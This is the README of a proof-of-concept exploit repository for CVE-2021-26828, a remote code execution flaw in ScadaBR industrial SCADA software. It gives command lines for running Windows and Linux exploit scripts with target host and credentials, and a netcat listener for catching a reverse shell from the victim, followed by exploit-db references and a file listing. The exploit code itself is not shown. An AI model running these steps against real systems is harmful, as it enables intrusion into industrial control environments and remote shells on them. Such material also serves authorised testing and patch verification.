# POC CVE-2021-26828_ScadaBR_RemoteCodeExecution
- ScadaBR 0.9.1 on Linux and through 1.0 and 1.12.4CE on Windows allows remote authenticated users to upload and execute arbitrary JSP files via 'view_edit.shtm' and Remote Code Execution.
### Exploit Usage
#### Commands:
- Windows:
`$ sudo python WinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass>`

- Linux:
First in your local machine open any port before exploit execution:
`$ sudo nc -vnlp 4444`
`$ sudo python LinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass> <Reverse_IP> <Reverse_Port>`

- References:
https://www.exploit-db.com/exploits/49734
https://www.exploit-db.com/exploits/49735
https://www.youtube.com/watch?v=k1teIStQr1A
[4.0K] /data/pocs/740410faeba1d64db7d0fe714d072be804e58a0f
├── [8.4K] LinScada_RCE.py
├── [ 58K] PocScadaBRLin.png
├── [ 47K] PocScadaBRWin.png
├── [ 888] README.md
└── [6.6K] WinScada_RCE.py
0 directories, 5 files